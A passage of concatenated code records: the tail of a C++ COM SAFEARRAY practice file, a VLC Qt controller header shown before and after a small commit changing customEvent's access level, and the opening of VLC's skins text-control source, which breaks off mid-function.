0;\n\tsafe_arry_bound[1].cElements = guidsize;\n\tsafe_arry_bound[1].lLbound = 0;\n\n\tp_safe_arry = SafeArrayCreate(VT_ARRAY, 1, safe_arry_bound);\n\tauto pnData = reinterpret_cast<char*>(p_safe_arry->pvData);\n\tmemcpy_s(pnData, guidsize, guidStri.c_str(), guidsize);\n\t\/\/TODO...\n\t\/\/do something..\n\tSafeArrayDestroy(p_safe_arry);\n}\n\nvoid Put2GuidInSafeArry()\n{\n\tGUID guid, guid2;\n\tCoCreateGuid(&guid);\n\tCoCreateGuid(&guid2);\n\n\t\/\/TODO... put the guid into safearry..\n\tSAFEARRAY* p_safe_arry;\n\tSAFEARRAYBOUND safe_arry_bound[2] = { 0 };\n\tsafe_arry_bound[0].cElements = 2;\n\tsafe_arry_bound[0].lLbound = 0;\n\tsafe_arry_bound[1].cElements = 16;\n\tsafe_arry_bound[1].lLbound = 0;\n\n\tp_safe_arry = SafeArrayCreate(VT_CLSID, 2, safe_arry_bound);\n\tauto pnData = reinterpret_cast<GUID*>(p_safe_arry->pvData);\n\tpnData[0] = guid;\n\tpnData[1] = guid2;\n\t\/\/TODO...\n\t\/\/do something..\n\t\/\/TODO...\n\n\tSafeArrayDestroy(p_safe_arry);\n}\n\nvoid Put1GuidInSafeArryByStack()\n{\n\tGUID guid;\n\n\t\/\/TODO... put the guid into safearry..\n\tSAFEARRAY* pArray = nullptr;\n\tauto hr = SafeArrayAllocDescriptorEx(VT_CLSID, 1, &pArray);\n\tpArray->cbElements = sizeof(GUID);\n\tpArray->rgsabound[0].cElements = 1;\n\tpArray->rgsabound[0].lLbound = 16;\n\tpArray->pvData = &guid;\n\tpArray->fFeatures = FADF_AUTO;\n\t\/\/_bstr_t bstr;\n}\n\nvoid CComSafeArrayGUID()\n{\n\t\/\/CComSafeArray<GUID> comsafeguid(10);\n}\n\nvoid LearnSafeArray()\n{\n\tVARIANT var_Chunk;\n\tSAFEARRAY *psa;\n\tSAFEARRAYBOUND rgsabund[1];\n\n\trgsabund[0].cElements = sizeof(GUID);\n\trgsabund[0].lLbound = 0;\n\n\t\/\/psa = SafeArrayCreate(VT_UI1,1,rgsabund);\n\n\tvar_Chunk.vt = VT_RECORD | VT_ARRAY;\n\t\/\/var_Chunk.parray =\n}\n\nint _tmain(int argc, _TCHAR* argv[])\n{\n\tPut1GuidInSafeArry();\n\tPut2GuidInSafeArry();\n\tPut1GuidInSafeArryByStack();\n\treturn 0;\n}<|endoftext|>"} {"text":"<commit_before>\/*****************************************************************************\n * Controller.hpp : Controller for the main interface\n ****************************************************************************\n * Copyright (C) 2006-2008 the VideoLAN team\n * $Id$\n *\n * Authors: Jean-Baptiste Kempf <jb@videolan.org>\n *\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston MA 02110-1301, USA.\n *****************************************************************************\/\n\n#ifndef QVLC_CONTROLLER_H_\n#define QVLC_CONTROLLER_H_\n\n#ifdef HAVE_CONFIG_H\n# include \"config.h\"\n#endif\n\n#include \"qt4.hpp\"\n\n#include <QFrame>\n#include <QString>\n#include <QSizeGrip>\n\n#define MAIN_TB1_DEFAULT \"64;39;64;38;65\"\n#define MAIN_TB2_DEFAULT \"0-2;64;3;1;4;64;7;9;64;10;20;19;64-4;37;65;35-4\"\n#define ADV_TB_DEFAULT \"12;11;13;14\"\n#define INPT_TB_DEFAULT \"5-1;15-1;33;6-1\"\n#define FSC_TB_DEFAULT \"0-2;64;3;1;4;64;37;64;38;64;8;65;35-4;34\"\n\n#define I_PLAY_TOOLTIP N_(\"Play\\nIf the playlist is empty, open a medium\")\n\nclass QPixmap;\nclass QLabel;\n\nclass QGridLayout;\nclass QHBoxLayout;\nclass QBoxLayout;\n\nclass QAbstractSlider;\nclass QAbstractButton;\nclass SeekSlider;\nclass QToolButton;\n\nclass VolumeClickHandler;\nclass WidgetListing;\n\nclass QSignalMapper;\nclass QTimer;\n\ntypedef enum buttonType_e\n{\n PLAY_BUTTON,\n STOP_BUTTON,\n OPEN_BUTTON,\n PREV_SLOW_BUTTON,\n NEXT_FAST_BUTTON,\n SLOWER_BUTTON,\n FASTER_BUTTON,\n FULLSCREEN_BUTTON,\n DEFULLSCREEN_BUTTON,\n EXTENDED_BUTTON,\n PLAYLIST_BUTTON,\n SNAPSHOT_BUTTON,\n RECORD_BUTTON,\n ATOB_BUTTON,\n FRAME_BUTTON,\n REVERSE_BUTTON,\n SKIP_BACK_BUTTON,\n SKIP_FW_BUTTON,\n QUIT_BUTTON,\n RANDOM_BUTTON,\n LOOP_BUTTON,\n INFO_BUTTON,\n PREVIOUS_BUTTON,\n NEXT_BUTTON,\n OPEN_SUB_BUTTON,\n BUTTON_MAX,\n\n SPLITTER = 0x20,\n INPUT_SLIDER,\n TIME_LABEL,\n VOLUME,\n VOLUME_SPECIAL,\n MENU_BUTTONS,\n TELETEXT_BUTTONS,\n ADVANCED_CONTROLLER,\n PLAYBACK_BUTTONS,\n SPECIAL_MAX,\n\n WIDGET_SPACER = 0x40,\n WIDGET_SPACER_EXTEND,\n WIDGET_MAX,\n} buttonType_e;\n\n\nstatic const char* const nameL[BUTTON_MAX] = { N_(\"Play\"), N_(\"Stop\"), N_(\"Open\"),\n N_(\"Previous\/Backward\"), N_(\"Next\/Forward\"), N_(\"Slower\"), N_(\"Faster\"), N_(\"Fullscreen\"),\n N_(\"De-Fullscreen\"), N_(\"Extended panel\"), N_(\"Playlist\"), N_(\"Snapshot\"),\n N_(\"Record\"), N_(\"A->B Loop\"), N_(\"Frame By Frame\"), N_(\"Trickplay Reverse\"),\n N_(\"Step backward\" ), N_(\"Step forward\"), N_(\"Quit\"), N_(\"Random\"),\n N_(\"Loop\/Repeat mode\"), N_(\"Information\"), N_(\"Previous\"), N_(\"Next\"),\n N_(\"Open subtitles file\")};\nstatic const char* const tooltipL[BUTTON_MAX] = { I_PLAY_TOOLTIP,\n N_(\"Stop playback\"), N_(\"Open a medium\"),\n N_(\"Previous media in the playlist, skip backward when keep-pressed\"),\n N_(\"Next media in the playlist, skip forward when keep-pressed\"), N_(\"Slower\"), N_(\"Faster\"),\n N_(\"Toggle the video in fullscreen\"), N_(\"Toggle the video out fullscreen\"),\n N_(\"Show extended settings\" ), N_( \"Show playlist\" ),\n N_( \"Take a snapshot\" ), N_( \"Record\" ),\n N_( \"Loop from point A to point B continuously.\" ), N_(\"Frame by frame\"),\n N_(\"Reverse\"), N_(\"Step backward\"), N_(\"Step forward\"), N_(\"Quit\"),\n N_(\"Random\"), N_(\"Change the loop and repeat modes\"), N_(\"Information\"),\n N_(\"Previous media in the playlist\"), N_(\"Next media in the playlist\"),\n N_(\"Open subtitles file\")};\nstatic const QString iconL[BUTTON_MAX] ={ \":\/toolbar\/play_b\", \":\/toolbar\/stop_b\",\n \":\/toolbar\/eject\", \":\/toolbar\/previous_b\", \":\/toolbar\/next_b\",\n \":\/toolbar\/slower\", \":\/toolbar\/faster\", \":\/toolbar\/fullscreen\",\n \":\/toolbar\/defullscreen\", \":\/toolbar\/extended\", \":\/toolbar\/playlist\",\n \":\/toolbar\/snapshot\", \":\/toolbar\/record\", \":\/toolbar\/atob_nob\",\n \":\/toolbar\/frame\", \":\/toolbar\/reverse\", \":\/toolbar\/skip_back\",\n \":\/toolbar\/skip_fw\", \":\/toolbar\/clear\", \":\/buttons\/playlist\/shuffle_on\",\n \":\/buttons\/playlist\/repeat_all\", \":\/menu\/info\",\n \":\/toolbar\/previous_b\", \":\/toolbar\/next_b\", \"\" };\n\nenum\n{\n WIDGET_NORMAL = 0x0,\n WIDGET_FLAT = 0x1,\n WIDGET_BIG = 0x2,\n WIDGET_SHINY = 0x4,\n};\n\nclass AdvControlsWidget;\nclass AbstractController : public QFrame\n{\n friend class WidgetListing; \/* For ToolBar Edition HACKS *\/\n\n Q_OBJECT\npublic:\n AbstractController( intf_thread_t *_p_i, QWidget *_parent = 0 );\n\nprotected:\n intf_thread_t *p_intf;\n\n QSignalMapper *toolbarActionsMapper;\n QHBoxLayout *controlLayout;\n \/* Change to BoxLayout if both dir are needed *\/\n\n AdvControlsWidget *advControls;\n\n void parseAndCreate( const QString& config, QBoxLayout *controlLayout );\n\n virtual void createAndAddWidget( QBoxLayout *controlLayout, int i_index,\n buttonType_e i_type, int i_option );\n\n QWidget *createWidget( buttonType_e, int options = WIDGET_NORMAL );\nprivate:\n static void setupButton( QAbstractButton * );\n QFrame *discFrame();\n QFrame *telexFrame();\n void applyAttributes( QToolButton *, bool b_flat, bool b_big );\n\n QHBoxLayout *buttonGroupLayout;\nprotected slots:\n virtual void setStatus( int );\n\nsignals:\n void inputExists( bool ); \/\/\/ This might be useful in the IM ?\n void inputPlaying( bool ); \/\/\/ This might be useful in the IM ?\n void inputIsRecordable( bool ); \/\/\/ same ?\n void inputIsTrickPlayable( bool ); \/\/\/ same ?\n};\n\n\/* Advanced Button Bar *\/\nclass AdvControlsWidget : public AbstractController\n{\n Q_OBJECT\npublic:\n AdvControlsWidget( intf_thread_t *, QWidget *_parent = 0 );\n};\n\n\/* Slider Bar *\/\nclass InputControlsWidget : public AbstractController\n{\n Q_OBJECT\npublic:\n InputControlsWidget( intf_thread_t * , QWidget *_parent = 0 );\n};\n\n\/* Button Bar *\/\nclass ControlsWidget : public AbstractController\n{\n Q_OBJECT\npublic:\n \/* p_intf, advanced control visible or not, blingbling or not *\/\n ControlsWidget( intf_thread_t *_p_i, bool b_advControls,\n QWidget *_parent = 0 );\n\n void setGripVisible( bool b_visible )\n { grip->setVisible( b_visible ); }\n\nprotected:\n friend class MainInterface;\n\n bool b_advancedVisible;\n\nprivate:\n QSizeGrip *grip;\n\nprotected slots:\n void toggleAdvanced();\n\nsignals:\n void advancedControlsToggled( bool );\n};\n\n\n\/* to trying transparency with fullscreen controller on windows enable that *\/\n\/* it can be enabled on-non windows systems,\n but it will be transparent only with composite manager *\/\n#define HAVE_TRANSPARENCY 1\n\n\/* Default value of opacity for FS controller *\/\n#define DEFAULT_OPACITY 0.70\n\n\/***********************************\n * Fullscreen controller\n ***********************************\/\nclass FullscreenControllerWidget : public AbstractController\n{\n Q_OBJECT\npublic:\n FullscreenControllerWidget( intf_thread_t *, QWidget *_parent = 0 );\n virtual ~FullscreenControllerWidget();\n\n \/* Vout *\/\n void fullscreenChanged( vout_thread_t *, bool b_fs, int i_timeout );\n void mouseChanged( vout_thread_t *, int i_mousex, int i_mousey );\n\nsignals:\n void keyPressed( QKeyEvent * );\n\npublic slots:\n void setVoutList( vout_thread_t **, int );\n\nprotected:\n friend class MainInterface;\n\n virtual void mouseMoveEvent( QMouseEvent *event );\n virtual void mousePressEvent( QMouseEvent *event );\n virtual void mouseReleaseEvent( QMouseEvent *event );\n virtual void enterEvent( QEvent *event );\n virtual void leaveEvent( QEvent *event );\n virtual void keyPressEvent( QKeyEvent *event );\n\nprivate slots:\n void showFSC();\n void planHideFSC();\n void hideFSC() { hide(); }\n void slowHideFSC();\n void centerFSC( int );\n\nprivate:\n virtual void customEvent( QEvent *event );\n\n QTimer *p_hideTimer;\n#if HAVE_TRANSPARENCY\n QTimer *p_slowHideTimer;\n bool b_slow_hide_begin;\n int i_slow_hide_timeout;\n float f_opacity;\n#endif\n\n int i_mouse_last_x, i_mouse_last_y;\n bool b_mouse_over;\n int i_screennumber;\n QRect screenRes;\n\n \/* List of vouts currently tracked *\/\n QList<vout_thread_t *> vout;\n\n \/* Shared variable between FSC and VLC (protected by a lock) *\/\n vlc_mutex_t lock;\n bool b_fullscreen;\n int i_hide_timeout; \/* FSC hiding timeout, same as mouse hiding timeout *\/\n int i_mouse_last_move_x;\n int i_mouse_last_move_y;\n};\n\n#endif\n<commit_msg>Qt: Fix protectedness of customEvent<commit_after>\/*****************************************************************************\n * Controller.hpp : Controller for the main interface\n ****************************************************************************\n * Copyright (C) 2006-2008 the VideoLAN team\n * $Id$\n *\n * Authors: Jean-Baptiste Kempf <jb@videolan.org>\n *\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston MA 02110-1301, USA.\n *****************************************************************************\/\n\n#ifndef QVLC_CONTROLLER_H_\n#define QVLC_CONTROLLER_H_\n\n#ifdef HAVE_CONFIG_H\n# include \"config.h\"\n#endif\n\n#include \"qt4.hpp\"\n\n#include <QFrame>\n#include <QString>\n#include <QSizeGrip>\n\n#define MAIN_TB1_DEFAULT \"64;39;64;38;65\"\n#define MAIN_TB2_DEFAULT \"0-2;64;3;1;4;64;7;9;64;10;20;19;64-4;37;65;35-4\"\n#define ADV_TB_DEFAULT \"12;11;13;14\"\n#define INPT_TB_DEFAULT \"5-1;15-1;33;6-1\"\n#define FSC_TB_DEFAULT \"0-2;64;3;1;4;64;37;64;38;64;8;65;35-4;34\"\n\n#define I_PLAY_TOOLTIP N_(\"Play\\nIf the playlist is empty, open a medium\")\n\nclass QPixmap;\nclass QLabel;\n\nclass QGridLayout;\nclass QHBoxLayout;\nclass QBoxLayout;\n\nclass QAbstractSlider;\nclass QAbstractButton;\nclass SeekSlider;\nclass QToolButton;\n\nclass VolumeClickHandler;\nclass WidgetListing;\n\nclass QSignalMapper;\nclass QTimer;\n\ntypedef enum buttonType_e\n{\n PLAY_BUTTON,\n STOP_BUTTON,\n OPEN_BUTTON,\n PREV_SLOW_BUTTON,\n NEXT_FAST_BUTTON,\n SLOWER_BUTTON,\n FASTER_BUTTON,\n FULLSCREEN_BUTTON,\n DEFULLSCREEN_BUTTON,\n EXTENDED_BUTTON,\n PLAYLIST_BUTTON,\n SNAPSHOT_BUTTON,\n RECORD_BUTTON,\n ATOB_BUTTON,\n FRAME_BUTTON,\n REVERSE_BUTTON,\n SKIP_BACK_BUTTON,\n SKIP_FW_BUTTON,\n QUIT_BUTTON,\n RANDOM_BUTTON,\n LOOP_BUTTON,\n INFO_BUTTON,\n PREVIOUS_BUTTON,\n NEXT_BUTTON,\n OPEN_SUB_BUTTON,\n BUTTON_MAX,\n\n SPLITTER = 0x20,\n INPUT_SLIDER,\n TIME_LABEL,\n VOLUME,\n VOLUME_SPECIAL,\n MENU_BUTTONS,\n TELETEXT_BUTTONS,\n ADVANCED_CONTROLLER,\n PLAYBACK_BUTTONS,\n SPECIAL_MAX,\n\n WIDGET_SPACER = 0x40,\n WIDGET_SPACER_EXTEND,\n WIDGET_MAX,\n} buttonType_e;\n\n\nstatic const char* const nameL[BUTTON_MAX] = { N_(\"Play\"), N_(\"Stop\"), N_(\"Open\"),\n N_(\"Previous\/Backward\"), N_(\"Next\/Forward\"), N_(\"Slower\"), N_(\"Faster\"), N_(\"Fullscreen\"),\n N_(\"De-Fullscreen\"), N_(\"Extended panel\"), N_(\"Playlist\"), N_(\"Snapshot\"),\n N_(\"Record\"), N_(\"A->B Loop\"), N_(\"Frame By Frame\"), N_(\"Trickplay Reverse\"),\n N_(\"Step backward\" ), N_(\"Step forward\"), N_(\"Quit\"), N_(\"Random\"),\n N_(\"Loop\/Repeat mode\"), N_(\"Information\"), N_(\"Previous\"), N_(\"Next\"),\n N_(\"Open subtitles file\")};\nstatic const char* const tooltipL[BUTTON_MAX] = { I_PLAY_TOOLTIP,\n N_(\"Stop playback\"), N_(\"Open a medium\"),\n N_(\"Previous media in the playlist, skip backward when keep-pressed\"),\n N_(\"Next media in the playlist, skip forward when keep-pressed\"), N_(\"Slower\"), N_(\"Faster\"),\n N_(\"Toggle the video in fullscreen\"), N_(\"Toggle the video out fullscreen\"),\n N_(\"Show extended settings\" ), N_( \"Show playlist\" ),\n N_( \"Take a snapshot\" ), N_( \"Record\" ),\n N_( \"Loop from point A to point B continuously.\" ), N_(\"Frame by frame\"),\n N_(\"Reverse\"), N_(\"Step backward\"), N_(\"Step forward\"), N_(\"Quit\"),\n N_(\"Random\"), N_(\"Change the loop and repeat modes\"), N_(\"Information\"),\n N_(\"Previous media in the playlist\"), N_(\"Next media in the playlist\"),\n N_(\"Open subtitles file\")};\nstatic const QString iconL[BUTTON_MAX] ={ \":\/toolbar\/play_b\", \":\/toolbar\/stop_b\",\n \":\/toolbar\/eject\", \":\/toolbar\/previous_b\", \":\/toolbar\/next_b\",\n \":\/toolbar\/slower\", \":\/toolbar\/faster\", \":\/toolbar\/fullscreen\",\n \":\/toolbar\/defullscreen\", \":\/toolbar\/extended\", \":\/toolbar\/playlist\",\n \":\/toolbar\/snapshot\", \":\/toolbar\/record\", \":\/toolbar\/atob_nob\",\n \":\/toolbar\/frame\", \":\/toolbar\/reverse\", \":\/toolbar\/skip_back\",\n \":\/toolbar\/skip_fw\", \":\/toolbar\/clear\", \":\/buttons\/playlist\/shuffle_on\",\n \":\/buttons\/playlist\/repeat_all\", \":\/menu\/info\",\n \":\/toolbar\/previous_b\", \":\/toolbar\/next_b\", \"\" };\n\nenum\n{\n WIDGET_NORMAL = 0x0,\n WIDGET_FLAT = 0x1,\n WIDGET_BIG = 0x2,\n WIDGET_SHINY = 0x4,\n};\n\nclass AdvControlsWidget;\nclass AbstractController : public QFrame\n{\n friend class WidgetListing; \/* For ToolBar Edition HACKS *\/\n\n Q_OBJECT\npublic:\n AbstractController( intf_thread_t *_p_i, QWidget *_parent = 0 );\n\nprotected:\n intf_thread_t *p_intf;\n\n QSignalMapper *toolbarActionsMapper;\n QHBoxLayout *controlLayout;\n \/* Change to BoxLayout if both dir are needed *\/\n\n AdvControlsWidget *advControls;\n\n void parseAndCreate( const QString& config, QBoxLayout *controlLayout );\n\n virtual void createAndAddWidget( QBoxLayout *controlLayout, int i_index,\n buttonType_e i_type, int i_option );\n\n QWidget *createWidget( buttonType_e, int options = WIDGET_NORMAL );\nprivate:\n static void setupButton( QAbstractButton * );\n QFrame *discFrame();\n QFrame *telexFrame();\n void applyAttributes( QToolButton *, bool b_flat, bool b_big );\n\n QHBoxLayout *buttonGroupLayout;\nprotected slots:\n virtual void setStatus( int );\n\nsignals:\n void inputExists( bool ); \/\/\/ This might be useful in the IM ?\n void inputPlaying( bool ); \/\/\/ This might be useful in the IM ?\n void inputIsRecordable( bool ); \/\/\/ same ?\n void inputIsTrickPlayable( bool ); \/\/\/ same ?\n};\n\n\/* Advanced Button Bar *\/\nclass AdvControlsWidget : public AbstractController\n{\n Q_OBJECT\npublic:\n AdvControlsWidget( intf_thread_t *, QWidget *_parent = 0 );\n};\n\n\/* Slider Bar *\/\nclass InputControlsWidget : public AbstractController\n{\n Q_OBJECT\npublic:\n InputControlsWidget( intf_thread_t * , QWidget *_parent = 0 );\n};\n\n\/* Button Bar *\/\nclass ControlsWidget : public AbstractController\n{\n Q_OBJECT\npublic:\n \/* p_intf, advanced control visible or not, blingbling or not *\/\n ControlsWidget( intf_thread_t *_p_i, bool b_advControls,\n QWidget *_parent = 0 );\n\n void setGripVisible( bool b_visible )\n { grip->setVisible( b_visible ); }\n\nprotected:\n friend class MainInterface;\n\n bool b_advancedVisible;\n\nprivate:\n QSizeGrip *grip;\n\nprotected slots:\n void toggleAdvanced();\n\nsignals:\n void advancedControlsToggled( bool );\n};\n\n\n\/* to trying transparency with fullscreen controller on windows enable that *\/\n\/* it can be enabled on-non windows systems,\n but it will be transparent only with composite manager *\/\n#define HAVE_TRANSPARENCY 1\n\n\/* Default value of opacity for FS controller *\/\n#define DEFAULT_OPACITY 0.70\n\n\/***********************************\n * Fullscreen controller\n ***********************************\/\nclass FullscreenControllerWidget : public AbstractController\n{\n Q_OBJECT\npublic:\n FullscreenControllerWidget( intf_thread_t *, QWidget *_parent = 0 );\n virtual ~FullscreenControllerWidget();\n\n \/* Vout *\/\n void fullscreenChanged( vout_thread_t *, bool b_fs, int i_timeout );\n void mouseChanged( vout_thread_t *, int i_mousex, int i_mousey );\n\nsignals:\n void keyPressed( QKeyEvent * );\n\npublic slots:\n void setVoutList( vout_thread_t **, int );\n\nprotected:\n friend class MainInterface;\n\n virtual void mouseMoveEvent( QMouseEvent *event );\n virtual void mousePressEvent( QMouseEvent *event );\n virtual void mouseReleaseEvent( QMouseEvent *event );\n virtual void enterEvent( QEvent *event );\n virtual void leaveEvent( QEvent *event );\n virtual void keyPressEvent( QKeyEvent *event );\n\n virtual void customEvent( QEvent *event );\n\nprivate slots:\n void showFSC();\n void planHideFSC();\n void hideFSC() { hide(); }\n void slowHideFSC();\n void centerFSC( int );\n\nprivate:\n QTimer *p_hideTimer;\n#if HAVE_TRANSPARENCY\n QTimer *p_slowHideTimer;\n bool b_slow_hide_begin;\n int i_slow_hide_timeout;\n float f_opacity;\n#endif\n\n int i_mouse_last_x, i_mouse_last_y;\n bool b_mouse_over;\n int i_screennumber;\n QRect screenRes;\n\n \/* List of vouts currently tracked *\/\n QList<vout_thread_t *> vout;\n\n \/* Shared variable between FSC and VLC (protected by a lock) *\/\n vlc_mutex_t lock;\n bool b_fullscreen;\n int i_hide_timeout; \/* FSC hiding timeout, same as mouse hiding timeout *\/\n int i_mouse_last_move_x;\n int i_mouse_last_move_y;\n};\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/*****************************************************************************\n * ctrl_text.cpp\n *****************************************************************************\n * Copyright (C) 2003 VideoLAN\n * $Id$\n *\n * Authors: Cyril Deguet <asmax@via.ecp.fr>\n * Olivier Teulire <ipkiss@via.ecp.fr>\n *\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111, USA.\n *****************************************************************************\/\n\n#include \"ctrl_text.hpp\"\n#include \"..\/events\/evt_generic.hpp\"\n#include \"..\/events\/evt_mouse.hpp\"\n#include \"..\/src\/generic_bitmap.hpp\"\n#include \"..\/src\/generic_font.hpp\"\n#include \"..\/src\/os_factory.hpp\"\n#include \"..\/src\/os_graphics.hpp\"\n#include \"..\/src\/os_timer.hpp\"\n#include \"..\/utils\/position.hpp\"\n#include \"..\/utils\/ustring.hpp\"\n#include \"..\/utils\/var_text.hpp\"\n\n\n#define MOVING_TEXT_STEP 3\n#define MOVING_TEXT_DELAY 200\n#define SEPARATOR_STRING \" \"\n\n\nCtrlText::CtrlText( intf_thread_t *pIntf, VarText &rVariable,\n const GenericFont &rFont, const UString &rHelp,\n uint32_t color, VarBool *pVisible ):\n CtrlGeneric( pIntf, rHelp, pVisible ), m_fsm( pIntf ),\n m_rVariable( rVariable ), m_cmdToManual( this, &transToManual ),\n m_cmdManualMoving( this, &transManualMoving ),\n m_cmdManualStill( this, &transManualStill ),\n m_cmdMove( this, &transMove ),\n m_pEvt( NULL ), m_rFont( rFont ), m_color( color ),\n m_pImg( NULL ), m_pImgDouble( NULL ), m_pCurrImg( NULL ),\n m_xPos( 0 ), m_xOffset( 0 )\n{\n m_pTimer = OSFactory::instance( getIntf() )->createOSTimer(\n Callback( this, &updateText ) );\n\n \/\/ States\n m_fsm.addState( \"still\" );\n m_fsm.addState( \"moving\" );\n m_fsm.addState( \"manual1\" );\n m_fsm.addState( \"manual2\" );\n m_fsm.addState( \"outStill\" );\n m_fsm.addState( \"outMoving\" );\n\n \/\/ Transitions\n m_fsm.addTransition( \"still\", \"mouse:left:down\", \"manual1\",\n &m_cmdToManual );\n m_fsm.addTransition( \"manual1\", \"mouse:left:up\", \"moving\",\n &m_cmdManualMoving );\n m_fsm.addTransition( \"moving\", \"mouse:left:down\", \"manual2\",\n &m_cmdToManual );\n m_fsm.addTransition( \"manual2\", \"mouse:left:up\", \"still\",\n &m_cmdManualStill );\n m_fsm.addTransition( \"manual1\", \"motion\", \"manual1\", &m_cmdMove );\n m_fsm.addTransition( \"manual2\", \"motion\", \"manual2\", &m_cmdMove );\n m_fsm.addTransition( \"still\", \"leave\", \"outStill\" );\n m_fsm.addTransition( \"outStill\", \"enter\", \"still\" );\n m_fsm.addTransition( \"moving\", \"leave\", \"outMoving\" );\n m_fsm.addTransition( \"outMoving\", \"enter\", \"moving\" );\n\n \/\/ Initial state\n m_fsm.setState( \"outStill\" );\n\n \/\/ Observe the variable\n m_rVariable.addObserver( this );\n\n \/\/ Set the text\n displayText( m_rVariable.get() );\n}\n\n\nCtrlText::~CtrlText()\n{\n m_rVariable.delObserver( this );\n if( m_pTimer )\n {\n delete m_pTimer;\n }\n if( m_pImg )\n {\n delete m_pImg;\n }\n if( m_pImgDouble )\n {\n delete m_pImgDouble;\n }\n}\n\n\nvoid CtrlText::handleEvent( EvtGeneric &rEvent )\n{\n \/\/ Save the event to use it in callbacks\n m_pEvt = &rEvent;\n\n m_fsm.handleTransition( rEvent.getAsString() );\n}\n\n\nbool CtrlText::mouseOver( int x, int y ) const\n{\n if( m_pCurrImg )\n {\n \/\/ We have 3 different ways of deciding when to return true here:\n \/\/ 1) the mouse is exactly over the text (so if you click between two\n \/\/ letters, the text control doesn't catch the event)\n \/\/ 2) the mouse is over the rectangle of the control\n \/\/ 3) the mouse is over the rectangle of the visible text\n \/\/ I don't know which one is the best...\n#if 0\n return( x >= 0 && x < getPosition()->getWidth()\n && m_pCurrImg->hit( x - m_xPos, y ) );\n#endif\n#if 1\n return( x >= 0 && x < getPosition()->getWidth()\n && y >= 0 && y < getPosition()->getHeight() );\n#endif\n#if 0\n return( x >= 0 && x < getPosition()->getWidth()\n && y >= 0 && y < getPosition()->getHeight()\n && x < m_pCurrImg->getWidth() && x < m_pCurrImg->getHeight() );\n#endif\n }\n else\n {\n return false;\n }\n}\n\n\nvoid CtrlText::draw( OSGraphics &rImage, int xDest, int yDest )\n{\n if( m_pCurrImg )\n {\n \/\/ Compute the dimensions to draw\n int width = min( m_pCurrImg->getWidth() + m_xPos,\n getPosition()->getWidth() );\n int height = min( m_pCurrImg->getHeight(), getPosition()->getHeight() );\n \/\/ Draw the current image\n rImage.drawBitmap( *m_pCurrImg, -m_xPos, 0, xDest, yDest,\n width, height );\n }\n}\n\n\nvoid CtrlText::setText( const UString &rText, uint32_t color )\n{\n \/\/ Change the color\n if( color != 0xFFFFFFFF )\n {\n m_color = color;\n }\n\n \/\/ Change the text\n m_rVariable.set( rText );\n}\n\n\nvoid CtrlText::onUpdate( Subject<VarText> &rVariable )\n{\n displayText( m_rVariable.get() );\n}\n\n\nvoid CtrlText::displayText( const UString &rText )\n{\n \/\/ Create the images ('normal' and 'double') from the text\n \/\/ 'Normal' image\n if( m_pImg )\n {\n delete m_pImg;\n }\n m_pImg = m_rFont.drawString( rText, m_color );\n if( !m_pImg )\n {\n return;\n }\n \/\/ 'Double' image\n const UString doubleStringWithSep = rText + SEPARATOR_STRING + rText;\n if( m_pImgDouble )\n {\n delete m_pImgDouble;\n }\n m_pImgDouble = m_rFont.drawString( doubleStringWithSep, m_color );\n\n \/\/ Update the current image used, as if the control size had changed\n onChangePosition();\n\n notifyLayout();\n}\n\n\nvoid CtrlText::onChangePosition()\n{\n if( m_pImg && getPosition() )\n {\n if( m_pImg->getWidth() < getPosition()->getWidth() )\n {\n m_pCurrImg = m_pImg;\n }\n else\n {\n m_pCurrImg = m_pImgDouble;\n }\n }\n else\n {\n \/\/ m_pImg is a better default value than m_pImgDouble, but anyway we\n \/\/ don't care because the control is never drawn without position :)\n m_pCurrImg = m_pImg;\n }\n}\n\n\nvoid CtrlText::transToManual( SkinObject *pCtrl )\n{\n CtrlText *pThis = (CtrlText*)pCtrl;\n EvtMouse *pEvtMouse = (EvtMouse*)pThis->m_pEvt;\n\n \/\/ Compute the offset\n pThis->m_xOffset = pEvtMouse->getXPos() - pThis->m_xPos;\n\n pThis->m_pTimer->stop();\n pThis->captureMouse();\n}\n\n\nvoid CtrlText::transManualMoving( SkinObject *pCtrl )\n{\n CtrlText *pThis = (CtrlText*)pCtrl;\n pThis->releaseMouse();\n\n \/\/ Start the automatic movement, but only if the text is wider than the\n \/\/ control\n if( pThis->m_pImg &&\n pThis->m_pImg->getWidth() >= pThis->getPosition()->getWidth() )\n {\n \/\/ The current image may have been set incorrectly in displayText(), so\n \/\/ set the correct value\n pThis->m_pCurrImg = pThis->m_pImgDouble;\n\n pThis->m_pTimer->start( MOVING_TEXT_DELAY, false );\n }\n}\n\n\nvoid CtrlText::transManualStill( SkinObject *pCtrl )\n{\n CtrlText *pThis = (CtrlText*)pCtrl;\n pThis->releaseMouse();\n}\n\n\nvoid CtrlText::transMove( SkinObject *pCtrl )\n{\n CtrlText *pThis = (CtrlText*)pCtrl;\n EvtMouse *pEvtMouse = (EvtMouse*)pThis->m_pEvt;\n\n \/\/ Do nothing if the text fits in the control\n if( pThis->m_pImg &&\n pThis->m_pImg->getWidth() >= pThis->getPosition()->getWidth() )\n {\n \/\/ The current image may have been set incorrectly in displayText(), so\n \/\/ we set the correct value\n 